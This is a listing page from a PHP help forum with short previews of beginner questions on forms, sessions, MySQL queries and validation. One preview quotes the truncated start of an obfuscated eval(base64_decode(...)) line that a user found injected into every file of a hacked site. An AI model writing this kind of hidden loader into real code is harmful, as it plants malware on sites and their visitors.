38,020 Topics

Member Avatar for
Member Avatar for xuexue

hi there, need some help: i have a command button in which it will generate a textbox whenever it is clicked, thus, if it is clicked 5 times, then 5 textboxes will appear. please help me with this, i want to code this using PHP or even HTML..

Member Avatar for sibizulu
0
137
Member Avatar for BlackPhoenix

Hi everyone, As the title of my topic says, I created a javascript loop that had some PHP code inside of it, hoping that every time the javascript function ran, it would re-call the PHP code inside of it. Turns out my hopes failed - the PHP code is only …

Member Avatar for almostbob
0
130
Member Avatar for anu.reka85
Member Avatar for diafol
0
161
Member Avatar for Menster

Hi guys, I am trying to create an application to serve on the web which is an integration of a java application and some php for mostly presentation functionality. Has anybody here successfully done anything like this before, and if so how? Please help. In dire need here. Thanks in …

Member Avatar for kireol
0
183
Member Avatar for satyajittilekar

hi, i am working on a project where i have to display an image gallery. All the images are stored in mysql and i have to display them and related info one by one using NEXT and PREV buttons. can anyone help me with this. thanx in advance.

Member Avatar for diafol
0
120
Member Avatar for muralibobby2015

hello...this is one way andeasy way to optimize database table. [CODE]dbConnect() $alltables = mysql_query("SHOW TABLES"); while ($table = mysql_fetch_assoc($alltables)) { foreach ($table as $db => $tablename) { mysql_query("OPTIMIZE TABLE '".$tablename."'") or die(mysql_error()); } }[/CODE]

Member Avatar for diafol
0
89
Member Avatar for toasty525

I have a mysql table with the following data in it: user_id score 1234 28 4654 -15 5986 15 3657 10 If i have PHP select the score column for user 5986 how could i then have PHP calculate the next highest score in the MySQL table ?

Member Avatar for pritaeas
0
141
Member Avatar for peddiraju86

how can i book cinema tickets from my own website like bookmyshow.com pls help me

Member Avatar for whiteyoh
0
40
Member Avatar for anu.reka85

haiZ... i need good tutorial site for php .... some thing i searched not comprehensive...

Member Avatar for muralibobby2015
-3
85
Member Avatar for whiteyoh

Hi all, Firstly not sure if this is a php or jps question or both I have a system, which uses session for security, with a timed cookie for time validation. In the menu of the system there will be an option, which will redirect to a jsp server. What …

0
62
Member Avatar for lifeworks

hi im new to writing functions - still havent gotten to classes yet :) and having some trouble understanding which function can access which variable... i have declared an array outside of any function... then i call a function, pass it a list(array) of urls and need to cycle the …

Member Avatar for network18
0
69
Member Avatar for indoreankita

My session destroys automatically after every 25 min if the page is idle. how can i prevent it and do session destroy only when browser is closed. Please help

Member Avatar for venkat0904
-1
94
Member Avatar for toasty525

Hi, i have the following snippet of php that i wrote but cant figure out why it wont work all the variables have been set before hand. Heres the PHP: [code=php]echo "<table border='1'> <tr>"; if ($win_score > $lose_score) { echo " <th>Winner</th> <th>Loser</th> <th>Win Score</th> <th>Lose Score</th> </tr>"; while($row = …

Member Avatar for network18
0
90
Member Avatar for ayesha789

In Db ch is a field with default value "Click here to view" and when I clicked it shows image (reference path stored in DB) in blank new window. Now I want to show this link as submit button and in action i want another page which shows details. [CODE=php] …

Member Avatar for musthafa.aj
0
97
Member Avatar for sarithak

hi i want to display my webpage as F11 mode(fullscreen)...when i click on some message.. i dont want to display statusbar,addressbar....i want to set the same functionality like F11 mode... Thanks in advance..

Member Avatar for network18
0
83
Member Avatar for CFROG

I'm having a bit of a problem with my page protect script. I've been working on my backup server for the past week or so making changes to the site. I uploaded all of the changes to the main site today and now every single page that includes my database …

Member Avatar for CFROG
0
147
Member Avatar for loveisblind

Hi everybody. Thus far. I have successfully created a drop down menu. What I want is for someone to choose a selection from the drop down list in admin_page.php and click the Status button to view the status of the option chosen. For now, I created a status button that …

Member Avatar for venkat0904
0
144
Member Avatar for manishmannan

Hello Every one is there any body who could help me on how to open a doc file and how to read its content thanks in advance

Member Avatar for manishmannan
0
169
Member Avatar for willbreaths

[CODE]<?php $host="localhost"; // Host name $username=""; // Mysql username $password=""; // Mysql password $db_name=""; // Database name $tbl_name="user"; // Table name mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB"); $myusername=$_POST['myusername']; $mypassword=$_POST['mypassword']; $time = time(); $check = $_POST['checkbox']; $myusername = stripslashes($myusername); $mypassword = stripslashes($mypassword); $myusername = mysql_real_escape_string($myusername); $mypassword = mysql_real_escape_string($mypassword); …

Member Avatar for glycerine
0
581
Member Avatar for hapizi84

I Found a problem on my site and when i compare the files on the server with my local files i found that every page (*.js or *.php) has this line on it <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKC or a javascript line so i knew that my site has been hacked.. so 1 …

Member Avatar for glycerine
0
262
Member Avatar for K0ns3rv

Hello guys. I am faced with an serious issue in my current project. I have this form, when the user submits it I create an array via javascript which is then encoded in with JSONstring.make(). The data is sent to php via ajax, the problem is that sometimes, I havn't …

Member Avatar for diafol
0
132
Member Avatar for forwardlookguy

Hello everyone, I've been trying to build a website with a VIN decoder for a few weeks now and I'm getting no where. I have no experience with PHP but have been doing a lot of reading. My question is how do I split a form into different pieces that …

Member Avatar for dazm39
-1
2K
Member Avatar for Book38

I have a string in my main index that looks like this: [CODE]if (is_sticky()) { echo " id='sticky' "; } echo ">";[/CODE] What this does is post info like a "Sticky" in a format like the thread of a forum at the very top of the list. It does this …

Member Avatar for kireol
0
210
Member Avatar for samarudge

Hi guys, So I am developing a website which will allow users to comment on things. As part of this I need to display a comment count and I wanted to know what you thought was the best way of doing this: The two options are Every hour/day run a …

Member Avatar for tchaves
0
109
Member Avatar for =OTS=G-Man

Hello, Got a question for you all. I have a mass email script that sends emails out in a round robin using 15 unchecked email address (GoDaddy only allows something like 250 emails a day per address). The problem I have is if an email bounces back it goes to …

Member Avatar for almostbob
0
190
Member Avatar for bhanu1225

Hi Freaks ... I need information regarding the webpage designing through PHP. I want the specs for designing a web page through PHP with a backend by which i can easily go through and it would be user friendly.

Member Avatar for almostbob
-1
81
Member Avatar for genieuk

Hi, I have the following regex pattern. I don't think there is anything wrong with it. It seems to work when i test but if someone sees anything wrong with it please feel free to tell me. I don't know Regex but managed to put a username validator together as …

Member Avatar for Kruptein
0
106
Member Avatar for muralibobby2015

can any body explain what is the use of csv files in php. i know it is used for export db as a xls files . in excel we can change the extension as .csv.

Member Avatar for almostbob
0
68
Member Avatar for 68kb_

hello every one this is my first post in the daniweb today i found this index of free open source PHP Class Scripts [URL="http://www.jooria.com/scripts/PHP-Class-Scripts-129/"]the index here[/URL]

Member Avatar for =OTS=G-Man
0
92
Member Avatar for venkat0904

Hi all, I am thinking of a login system which can retrieve user credentials from: i) DB ii) LDAP iii) XML essentially a configurable one.. Like when u choose to get credentials from DB, u can specify the table name and columns to get the value from... similarly for others.. …

Member Avatar for venkat0904
0
74

The End.